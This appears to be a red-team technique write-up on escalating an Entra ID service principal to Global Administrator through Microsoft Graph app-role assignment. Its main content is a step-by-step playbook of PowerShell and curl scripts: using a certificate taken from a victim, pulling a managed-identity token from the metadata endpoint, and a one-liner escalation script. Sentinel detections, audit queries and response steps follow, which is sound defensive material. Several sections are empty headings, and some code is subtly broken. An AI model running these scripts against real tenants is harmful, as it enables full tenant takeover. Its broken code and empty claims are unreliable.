MCADDF

[PE-ACCTMGMT-001]: App Registration Permissions Escalation

1. Metadata Header

Attribute Details
Technique ID PE-ACCTMGMT-001
MITRE ATT&CK v18.1 T1098 - Account Manipulation
Tactic Privilege Escalation
Platforms Entra ID (Azure AD)
Severity Critical – Enables silent privilege escalation to Global Administrator without user interaction
CVE N/A
Technique Status ACTIVE – Works on all current Entra ID implementations (as of January 2026)
Last Verified 2026-01-09
Affected Versions All Entra ID versions; default behavior since 2024
Patched In N/A (Requires mitigation; no patch exists; design-by-architecture risk)
Author SERVTEPArtur Pchelnikau

2. Executive Summary

Concept: An attacker who has compromised or controls a service principal with AppRoleAssignment.ReadWrite.All permission (or roles like Application Administrator or Cloud Application Administrator) can escalate privileges silently by assigning high-privilege Graph API permissions to themselves. Specifically, by assigning RoleManagement.ReadWrite.Directory permission, the service principal gains the ability to add itself to the Global Administrator directory role—achieving full tenant takeover without triggering interactive approval flows, MFA challenges, or user-visible consent screens. This is a headless privilege escalation: it requires no user interaction and leaves minimal audit trail.

Attack Surface: Microsoft Graph API (/servicePrincipals/{id}/appRoleAssignments), Entra ID Portal (Service Principal management UI), Azure CLI/PowerShell modules.

Business Impact: Complete tenant compromise. An attacker with initial compromise of a low-privileged service principal (e.g., via leaked certificate or misconfigured Function App) can instantly elevate to Global Administrator, gaining unrestricted access to all Entra ID resources, Microsoft 365 mailboxes, SharePoint sites, Teams environments, and any integrated applications. This enables data exfiltration, ransomware deployment, user account takeovers, and persistent backdoors.

Technical Context: Execution is instantaneous (seconds). Detection is minimal because the attack uses only legitimate Microsoft Graph API calls and does not trigger consent dialogs or user sign-in events. The attack exploits the principle that app-only permissions bypass the admin consent experience—intentional by design to enable automation and service principal workflows, but creates a privilege escalation vector when combined with excessive permission assignments.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 1.1.3 Ensure that Global Administrator role has no more than 2-3 permanent assignments
CIS Benchmark 2.2.5 Ensure application permissions are limited and monitored
DISA STIG AZ-MS-000030 Service principals must not have excessive permissions assigned
NIST 800-53 AC-2 (Account Management) Accounts and associated permissions must be managed per principle of least privilege
NIST 800-53 AC-6 (Least Privilege) Users and processes must operate with minimum required permissions
GDPR Art. 5 (Lawfulness, Fairness, Transparency) Processing must be lawful and transparent; unauthorized escalation violates integrity
DORA Art. 9 (Protection and Prevention) Access control and privilege management procedures must prevent escalation
NIS2 Art. 21 (Cyber Risk Management Measures) Controls over privilege access and approval workflows must be enforced
ISO 27001 A.9.2.3 (Management of Privileged Access Rights) Privileged access must be restricted and controlled through documented procedures
ISO 27005 Risk Scenario: “Compromise of Application Secrets” Risk of unauthorized access via leaked credentials escalating to administrative privileges

3. Technical Prerequisites

Supported Versions:

Tools:


5. Detailed Execution Methods and Their Steps

METHOD 1: Direct Graph API Calls via Service Principal Certificate (Headless Escalation)

Supported Versions: All Entra ID versions

Step 1: Obtain Service Principal Credentials (Certificate or Secret)

Objective: Retrieve or compromise service principal credentials (certificate, secret, or managed identity token).

Command (PowerShell - List Service Principals with Certificates):

# Connect to Entra ID as Global Admin (first-time reconnaissance)
Connect-MgGraph -Scopes "AppRoleAssignment.ReadWrite.All", "Application.ReadWrite.All"

# List all service principals with certificates
$servicePrincipals = Get-MgServicePrincipal -Filter "keyCredentials/any(x:x/type eq 'AsymmetricX509Cert')" -All

foreach ($sp in $servicePrincipals) {
    Write-Host "Service Principal: $($sp.DisplayName)"
    Write-Host "Object ID: $($sp.Id)"
    Write-Host "Certificates: $($sp.KeyCredentials.Count) found"
    
    # Check for excessive permissions
    $appRoles = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id
    Write-Host "Current App Roles: $($appRoles.Count)"
    Write-Host "---"
}

Expected Output:

Service Principal: Function-App-Processor
Object ID: 12345678-1234-1234-1234-123456789012
Certificates: 1 found
Current App Roles: 3
---

Service Principal: DataSync-Automation
Object ID: 87654321-4321-4321-4321-210987654321
Certificates: 2 found
Current App Roles: 5

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Authenticate as Compromised Service Principal

Objective: Establish authentication context using compromised service principal credentials.

Command (PowerShell - Certificate-Based Authentication):

# Assuming certificate has been exfiltrated/leaked (e.g., from Azure Key Vault, Azure Function app storage)
$certificatePath = "C:\exfiltrated\service-principal-cert.pfx"
$certificatePassword = "password123"  # If password-protected

# Load certificate
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2($certificatePath, $certificatePassword)

# Authenticate to Microsoft Graph as service principal
$tokenParams = @{
    Method = "POST"
    Uri    = "https://login.microsoftonline.com/common/oauth2/v2.0/token"
    Body   = @{
        client_id     = "12345678-1234-1234-1234-123456789012"  # Service principal app ID
        scope         = "https://graph.microsoft.com/.default"
        client_assertion_type = "urn:ietf:params:oauth:client-assertion-type:jwt-bearer"
        client_assertion      = (Create-JwtToken -Certificate $cert -Audience "https://login.microsoftonline.com/common/oauth2/v2.0/token")
        grant_type    = "client_credentials"
    }
}

$token = Invoke-RestMethod @tokenParams
$accessToken = $token.access_token
Write-Host "Access token obtained (valid for $($token.expires_in) seconds)"

Command (Azure CLI - Certificate-Based Authentication):

# Extract certificate and key from PFX
openssl pkcs12 -in service-principal-cert.pfx -out cert.pem -clcerts -nokeys
openssl pkcs12 -in service-principal-cert.pfx -out key.pem -nocerts -nodes

# Authenticate to Azure as service principal
az login --service-principal \
  -u "12345678-1234-1234-1234-123456789012" \
  -p key.pem \
  --cert cert.pem \
  --tenant "attacker-tenant-id"

# Verify authentication
az account show

Expected Output:

Access token obtained (valid for 3599 seconds)

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Enumerate Current Permissions and Identify Escalation Path

Objective: Determine current permissions and identify which additional permissions enable privilege escalation.

Command (PowerShell - Current Permissions Enumeration):

# Get all app roles currently assigned to the service principal
$servicePrincipalId = "87654321-4321-4321-4321-210987654321"

$currentRoles = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $servicePrincipalId
Write-Host "Current App Roles Assigned:"
foreach ($role in $currentRoles) {
    Write-Host "- $($role.AppRoleId): $($role.Id)"
}

# Get Microsoft Graph service principal to find available roles
$msGraphSp = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"
Write-Host "Microsoft Graph Service Principal ID: $($msGraphSp.Id)"

# List all available roles in Graph API
$graphRoles = $msGraphSp.AppRoles
Write-Host "High-Risk Roles Available:"
$criticalRoles = $graphRoles | Where-Object { $_.Value -in @("RoleManagement.ReadWrite.Directory", "AppRoleAssignment.ReadWrite.All", "Application.ReadWrite.All") }
foreach ($role in $criticalRoles) {
    Write-Host "- $($role.Value) (ID: $($role.Id))"
}

Expected Output:

Current App Roles Assigned:
- f8d98c13-1234-1234-1234-123456789012: 12345678-1234-1234-1234-123456789012
- e3b76c45-5678-5678-5678-567890123456: 23456789-5678-5678-5678-567890123456

Microsoft Graph Service Principal ID: f06cb127-b8fb-4ee6-8034-0a3a4b51a641

High-Risk Roles Available:
- RoleManagement.ReadWrite.Directory (ID: 9e3f94ae-4ad3-4d66-a9e7-0732266c6154)
- AppRoleAssignment.ReadWrite.All (ID: 06b708a9-e830-4db3-ba6e-f2cc5924578e)
- Application.ReadWrite.All (ID: 1bfefb4e-e0b5-418b-a88f-73c46d2cc266)

What This Means:

OpSec & Evasion:

Step 4: Assign High-Risk Permission (RoleManagement.ReadWrite.Directory)

Objective: Assign RoleManagement.ReadWrite.Directory permission to service principal, enabling directory role manipulation.

Command (PowerShell - Assign Dangerous Permission):

# Service Principal IDs
$servicePrincipalId = "87654321-4321-4321-4321-210987654321"  # Attacker's service principal
$msGraphSpId = "f06cb127-b8fb-4ee6-8034-0a3a4b51a641"          # Microsoft Graph service principal

# Define the role to assign
$roleManagementRole = @{
    id = "9e3f94ae-4ad3-4d66-a9e7-0732266c6154"  # RoleManagement.ReadWrite.Directory
}

# Prepare the request body
$appRoleAssignmentParams = @{
    principalId = $servicePrincipalId
    resourceId  = $msGraphSpId
    appRoleId   = $roleManagementRole.id
}

# Assign the role via Graph API
$assignment = New-MgServicePrincipalAppRoleAssignment `
    -ServicePrincipalId $msGraphSpId `
    -BodyParameter $appRoleAssignmentParams

Write-Host "Permission assigned successfully!"
Write-Host "Assignment ID: $($assignment.Id)"
Write-Host "Now service principal has RoleManagement.ReadWrite.Directory permission"

Command (Azure CLI - REST API Direct Call):

# Set variables
SP_ID="87654321-4321-4321-4321-210987654321"
MS_GRAPH_SP_ID="f06cb127-b8fb-4ee6-8034-0a3a4b51a641"
ROLE_ID="9e3f94ae-4ad3-4d66-a9e7-0732266c6154"
ACCESS_TOKEN="eyJ0eXAiOiJKV1QiLCJhbGc..."

# Create the app role assignment
curl -X POST \
  "https://graph.microsoft.com/v1.0/servicePrincipals/$MS_GRAPH_SP_ID/appRoleAssignedTo" \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"principalId\": \"$SP_ID\",
    \"resourceId\": \"$MS_GRAPH_SP_ID\",
    \"appRoleId\": \"$ROLE_ID\"
  }"

echo "Permission assignment submitted"

Expected Output:

Permission assigned successfully!
Assignment ID: d90e3f47-3e85-4e90-85cf-a0c8a3b4c9d0
Now service principal has RoleManagement.ReadWrite.Directory permission

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 5: Refresh Access Token (Activate New Permissions)

Objective: Obtain fresh access token to include newly assigned permissions in claims.

Command (PowerShell - Refresh Token):

# Disconnect current session
Disconnect-MgGraph -WarningAction SilentlyContinue

# Authenticate again with fresh token
Connect-MgGraph -Certificate $cert -ClientId "12345678-1234-1234-1234-123456789012" -TenantId "attacker-tenant-id"

# Verify new permissions are in token
$context = Get-MgContext
Write-Host "Authenticated as: $($context.Account)"
Write-Host "Available Scopes: $($context.Scopes -join ', ')"

Expected Output:

Authenticated as: ServicePrincipal@attacker-tenant.onmicrosoft.com
Available Scopes: RoleManagement.ReadWrite.Directory, AppRoleAssignment.ReadWrite.All, ...

What This Means:

OpSec & Evasion:

Step 6: Assign Service Principal to Global Administrator Directory Role

Objective: Escalate the service principal to Global Administrator using newly acquired permission.

Command (PowerShell - Add to Global Administrator Role):

# Get the Global Administrator (Company Administrator) role definition
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"

if (-not $globalAdminRole) {
    # Role might not exist yet; activate it first
    $globalAdminRoleTemplate = Get-MgDirectoryRoleTemplate -Filter "displayName eq 'Global Administrator'"
    $roleParams = @{
        templateId = $globalAdminRoleTemplate.Id
    }
    $globalAdminRole = New-MgDirectoryRole -BodyParameter $roleParams
}

# Add service principal to Global Administrator role
$memberParams = @{
    "@odata.id" = "https://graph.microsoft.com/v1.0/servicePrincipals/$servicePrincipalId"
}

New-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id -BodyParameter $memberParams

Write-Host "Service principal successfully added to Global Administrator role!"
Write-Host "Privilege Escalation Complete: Service Principal is now Global Administrator"

Command (Bash - REST API Direct Call):

# Get Global Administrator role
GLOBAL_ADMIN_ROLE=$(curl -s -X GET \
  "https://graph.microsoft.com/v1.0/directoryRoles?\\$filter=displayName eq 'Global Administrator'" \
  -H "Authorization: Bearer $ACCESS_TOKEN" | jq -r '.value[0].id')

echo "Global Admin Role ID: $GLOBAL_ADMIN_ROLE"

# Add service principal as member
curl -X POST \
  "https://graph.microsoft.com/v1.0/directoryRoles/$GLOBAL_ADMIN_ROLE/members/\$ref" \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"@odata.id\": \"https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID\"
  }"

echo "Service principal added to Global Administrator role"

Expected Output:

Service principal successfully added to Global Administrator role!
Privilege Escalation Complete: Service Principal is now Global Administrator

What This Means:

OpSec & Evasion:

Troubleshooting:


METHOD 2: Indirect Escalation via Compromised Azure Function App

Supported Versions: All Entra ID versions with Azure Functions support

Step 1: Compromise Azure Function App Managed Identity

Objective: Gain access to an Azure Function App’s managed identity (already assigned moderate permissions).

Command (PowerShell - Enumerate Function Apps with Managed Identities):

# List all Function Apps in subscription
$functionApps = Get-AzFunctionApp

foreach ($app in $functionApps) {
    Write-Host "Function App: $($app.Name)"
    Write-Host "Managed Identity: $($app.IdentityPrincipalId)"
    
    # Get current role assignments
    $assignments = Get-AzRoleAssignment -ObjectId $app.IdentityPrincipalId
    Write-Host "Current Roles: $($assignments.RoleDefinitionName -join ', ')"
    Write-Host "---"
}

Expected Output:

Function App: DataProcessing-Func
Managed Identity: 11111111-1111-1111-1111-111111111111
Current Roles: Contributor
---

What This Means:

Step 2: Authenticate as Function App Managed Identity

Objective: Obtain access token for Function App’s managed identity.

Command (PowerShell - Get Managed Identity Token from Function App):

# Inside the Function App runtime, the managed identity token can be obtained via:
$uri = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-12-01&resource=https://graph.microsoft.com"

$response = Invoke-WebRequest -Uri $uri -Headers @{Metadata = "true"} -UseBasicParsing
$content = $response.Content | ConvertFrom-Json
$accessToken = $content.access_token

Write-Host "Managed identity access token obtained"

What This Means:

Step 3: Use Function App’s Contributor Permissions to Assign Graph Permissions

Objective: Leverage Contributor role to assign high-risk Graph permissions to the function’s service principal.

Command (PowerShell - Escalate via Graph Permissions):

# From inside the Function App or with the managed identity token:
# Assign RoleManagement.ReadWrite.Directory to the function's service principal

$functionSpId = "11111111-1111-1111-1111-111111111111"
$msGraphSpId = "f06cb127-b8fb-4ee6-8034-0a3a4b51a641"
$roleId = "9e3f94ae-4ad3-4d66-a9e7-0732266c6154"  # RoleManagement.ReadWrite.Directory

$appRoleAssignmentParams = @{
    principalId = $functionSpId
    resourceId  = $msGraphSpId
    appRoleId   = $roleId
}

New-MgServicePrincipalAppRoleAssignment `
    -ServicePrincipalId $msGraphSpId `
    -BodyParameter $appRoleAssignmentParams

# Continue with Step 5 and 6 of METHOD 1 to complete escalation

What This Means:


METHOD 3: PowerShell One-Liner for Rapid Escalation (Post-Compromise)

Supported Versions: All Entra ID versions with PowerShell SDK support

Command:

# Rapid escalation script (assuming service principal already authenticated)
$sp = Get-MgServicePrincipal -Filter "appId eq 'client-app-id'"
$msGraph = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"
$role = $msGraph.AppRoles | Where-Object { $_.Value -eq "RoleManagement.ReadWrite.Directory" }

# Step 1: Assign permission
New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $msGraph.Id -BodyParameter @{
    principalId = $sp.Id
    resourceId  = $msGraph.Id
    appRoleId   = $role.Id
}

# Step 2: Refresh token
Disconnect-MgGraph
Connect-MgGraph -Certificate $cert -ClientId $sp.AppId -TenantId "tenant-id"

# Step 3: Escalate to Global Admin
$gaRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'" | Select-Object -First 1
if (-not $gaRole) { $gaRole = New-MgDirectoryRole -BodyParameter @{templateId = (Get-MgDirectoryRoleTemplate -Filter "displayName eq 'Global Administrator'").Id} }

New-MgDirectoryRoleMember -DirectoryRoleId $gaRole.Id -BodyParameter @{ "@odata.id" = "https://graph.microsoft.com/v1.0/servicePrincipals/$($sp.Id)" }

Write-Host "✓ Privilege escalation complete. Service principal is Global Administrator."

Expected Output:

✓ Privilege escalation complete. Service principal is Global Administrator.

What This Means:


6. Atomic Red Team

Atomic Test ID: T1098.008 (Azure AD - adding permission to application)

Test Name: App Role Assignment Privilege Escalation in Entra ID

Description: Simulates assigning high-risk Microsoft Graph permissions to a service principal and escalating to Global Administrator role.

Supported Versions: All Entra ID versions

Command:

# Invoke Atomic Red Team test for T1098
Invoke-AtomicTest T1098 -TestNumbers 8

Cleanup Command:

# Remove dangerous permissions and role assignments
$sp = Get-MgServicePrincipal -Filter "appId eq 'client-app-id'"
$msGraph = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"

# Remove app role assignments
$assignments = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id
foreach ($assignment in $assignments) {
    Remove-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id -AppRoleAssignmentId $assignment.Id
}

# Remove Global Administrator role
$gaRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
Remove-MgDirectoryRoleMember -DirectoryRoleId $gaRole.Id -DirectoryObjectId $sp.Id

Reference: Atomic Red Team - T1098


7. Tools & Commands Reference

Microsoft Graph PowerShell SDK

Version: 2.0+ Minimum Version: 1.0 Supported Platforms: Windows, macOS, Linux (PowerShell Core)

Installation:

Install-Module -Name Microsoft.Graph -Scope CurrentUser
Install-Module -Name Microsoft.Graph.Applications -Scope CurrentUser

Usage:

# Connect as service principal
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("cert.pfx", "password")
Connect-MgGraph -Certificate $cert -ClientId "app-id" -TenantId "tenant-id"

# Assign permission
New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id -BodyParameter $assignmentParams

Azure CLI

Version: 2.30+ Minimum Version: 2.0 Supported Platforms: Windows, macOS, Linux

Installation:

curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

Usage:

az login --service-principal -u app-id -p secret --tenant tenant-id
az ad sp show --id app-id

8. Microsoft Sentinel Detection

Query 1: Suspicious App Role Assignment to RoleManagement.ReadWrite.Directory

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName == "Assign application role" or OperationName == "Update servicePrincipal"
| where TargetResources[0].displayName contains "Microsoft Graph" or tostring(parse_json(TargetResources[0].modifiedProperties)) contains "RoleManagement.ReadWrite.Directory"
| extend AssignedPermission = tostring(parse_json(TargetResources[0].modifiedProperties[0].newValue))
| where AssignedPermission in ("RoleManagement.ReadWrite.Directory", "AppRoleAssignment.ReadWrite.All", "Application.ReadWrite.All")
| extend InitiatorUPN = tostring(InitiatedBy.user.userPrincipalName)
| extend InitiatorIPAddress = tostring(InitiatedBy.user.ipAddress)
| project TimeGenerated, InitiatorUPN, InitiatorIPAddress, OperationName, AssignedPermission, TargetResources
| where InitiatorUPN !in ("admin@contoso.com", "automation-account@contoso.com")  # Exclude known legitimate accounts

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics+ CreateScheduled query rule
  3. General Tab:
    • Name: Suspicious App Role Assignment to RoleManagement Permissions
    • Severity: Critical
  4. Set rule logic Tab:
    • Paste the KQL query above
    • Run every: 5 minutes
    • Lookup data from last: 1 hour
  5. Incident settings:
    • Enable Create incidents
  6. Click Review + createCreate

Query 2: Service Principal Added to Global Administrator Role

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName == "Add member to role" or OperationName == "Add eligible member to role"
| where TargetResources[0].displayName == "Global Administrator" or TargetResources[0].displayName == "Company Administrator"
| extend TargetObject = tostring(TargetResources[0].id)
| extend TargetType = tostring(TargetResources[0].type)
| where TargetType == "ServicePrincipal" or TargetType contains "Application"
| extend InitiatorUPN = tostring(InitiatedBy.user.userPrincipalName)
| extend InitiatorServicePrincipal = tostring(InitiatedBy.app.displayName)
| project TimeGenerated, InitiatorUPN, InitiatorServicePrincipal, OperationName, TargetObject, Result
| where Result == "success"

What This Detects:


9. Windows Event Log Monitoring

Note: This technique is cloud-native (Entra ID) and generates no Windows Event Log entries on on-premises systems. Monitoring occurs entirely via Azure Audit Logs (see Microsoft Sentinel section).


10. Microsoft Defender for Cloud

Detection Alert: Service Principal Assigned High-Risk Graph Permission

Alert Name: “Suspicious permission assignment to service principal detected”

Manual Configuration Steps:

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings → Select subscription
  3. Under Defender plans, enable Defender for Identity: ON
  4. Go to Security alerts to view triggered alerts

11. Microsoft Purview (Unified Audit Log)

Query: Service Principal Permission Assignments and Role Changes

PowerShell Command:

Connect-ExchangeOnline -Tenant "tenant-id"

# Search for service principal permission assignments
Search-UnifiedAuditLog -Operations "Assign application role" `
  -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
  -ResultSize 5000 | Where-Object { $_.AuditData -like "*RoleManagement*" } | `
  Export-Csv -Path "C:\Audits\SP_Permissions.csv"

# Search for Global Administrator role additions
Search-UnifiedAuditLog -Operations "Add member to role" `
  -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
  -ResultSize 5000 | Where-Object { $_.AuditData -like "*Global Administrator*" } | `
  Export-Csv -Path "C:\Audits\GlobalAdmin_Assignments.csv"

Manual Configuration:

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Go to Audit (left menu)
  3. If not enabled, click Turn on auditing (wait 24 hours)
  4. Search AuditSearch → Set date range
  5. Under Activities, select: Assign application role, Add member to role
  6. Export results for analysis

12. Defensive Mitigations

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check for dangerous app permissions assigned to service principals
$msGraph = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"
$dangersPerms = @("9e3f94ae-4ad3-4d66-a9e7-0732266c6154", "06b708a9-e830-4db3-ba6e-f2cc5924578e", "1bfefb4e-e0b5-418b-a88f-73c46d2cc266")

$allAssignments = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $msGraph.Id
$dangerousAssignments = $allAssignments | Where-Object { $_.AppRoleId -in $dangerPerms }

if ($dangerousAssignments.Count -eq 0) {
    Write-Host "✓ No dangerous permissions found" -ForegroundColor Green
} else {
    Write-Host "✗ Found $($dangerousAssignments.Count) dangerous permission assignments" -ForegroundColor Red
    $dangerousAssignments | Select-Object PrincipalDisplayName, AppRoleId
}

# Check Global Administrator role members
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
$globalAdminMembers = Get-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id
Write-Host "Global Administrator members: $($globalAdminMembers.Count)"
$globalAdminMembers | Select-Object DisplayName

Expected Output (If Secure):

✓ No dangerous permissions found
Global Administrator members: 3

What to Look For:


13. Detection & Incident Response

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Command (Immediately revoke permissions and role):
    $sp = Get-MgServicePrincipal -Filter "appId eq 'client-app-id'"
        
    # Remove Global Administrator role
    $globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
    Remove-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id -DirectoryObjectId $sp.Id
        
    # Remove all app role assignments
    $assignments = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id
    foreach ($assignment in $assignments) {
        Remove-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id -AppRoleAssignmentId $assignment.Id
    }
        
    # Revoke all active tokens
    Revoke-MgServicePrincipalSign -ServicePrincipalId $sp.Id
    

    Manual (Azure Portal):

    • Go to Entra IDEnterprise applications → Search service principal
    • Click Delete to remove entirely (if high-risk)
    • OR go to Roles and administratorsGlobal Administrator → Remove member
  2. Collect Evidence:
    # Export comprehensive audit trail
    Search-UnifiedAuditLog -Operations "Assign application role", "Add member to role" `
      -StartDate "2024-06-15" -EndDate (Get-Date) `
      -ResultSize 5000 | Export-Csv -Path "C:\IR\AppRole_Audit.csv"
        
    # Export service principal details
    $sp | Select-Object DisplayName, AppId, Id, CreatedDateTime | Export-Csv -Path "C:\IR\SP_Details.csv"
    

    Manual (Azure Portal):

    • Go to Activity Log → Filter by “Assign application role”, “Add member to role”
    • Export results as CSV
  3. Remediate:
    • Revoke service principal credentials (certificates, secrets)
    • Reset Global Administrator user passwords (if attacker may have accessed credentials)
    • Force sign-out of all sessions: Entra ID → Users → [User] → Force sign out
    • Search for secondary backdoors (additional service principals, app registrations)
  4. Investigate Further:
    • Review all Graph API calls made by service principal since compromise (Data Export)
    • Check for mailbox access via Exchange Online admin audit logs
    • Search Teams activity logs for unauthorized access
    • Audit all role assignments made by escalated service principal

Step Phase Technique Description
1 Reconnaissance [REC-CLOUD-006] Azure Service Principal Enumeration Attacker enumerates service principals and identifies those with moderate permissions
2 Credential Access [CA-UNSC-010] Service Principal Secrets Harvesting Attacker obtains leaked service principal certificate or secret
3 Privilege Escalation (Current Step) [PE-ACCTMGMT-001] Attacker assigns RoleManagement.ReadWrite.Directory and escalates to Global Administrator
4 Persistence [PE-ACCTMGMT-014] Global Administrator Backdoor Attacker creates additional backdoor service principal with Global Administrator role
5 Collection [COLLECTION-001] Mailbox Access via Delegated Permissions Attacker accesses all tenant mailboxes with Mail.Read.All permission
6 Exfiltration [EXFIL-002] Teams Data Download Attacker downloads Teams chat history and files

15. Real-World Examples

Example 1: Compromised Azure Function App Leading to Tenant Takeover

Example 2: Leaked Service Principal Secret Enabling Privilege Escalation